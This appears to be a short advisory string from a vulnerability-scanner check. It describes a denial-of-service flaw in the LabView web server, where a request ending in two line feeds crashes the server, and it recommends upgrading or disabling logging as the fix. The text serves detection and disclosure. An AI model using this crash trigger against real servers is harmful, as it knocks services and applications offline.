tag_summary = "It was possible to kill the web server by
sending a request that ends with two LF characters instead of 
the normal sequence CR LF CR LF 
(CR = carriage return, LF = line feed).

A cracker may exploit this vulnerability to make this server and
all LabViews applications crash continually.

Workaround : upgrade your LabView software or run the web server with logging
disabled";
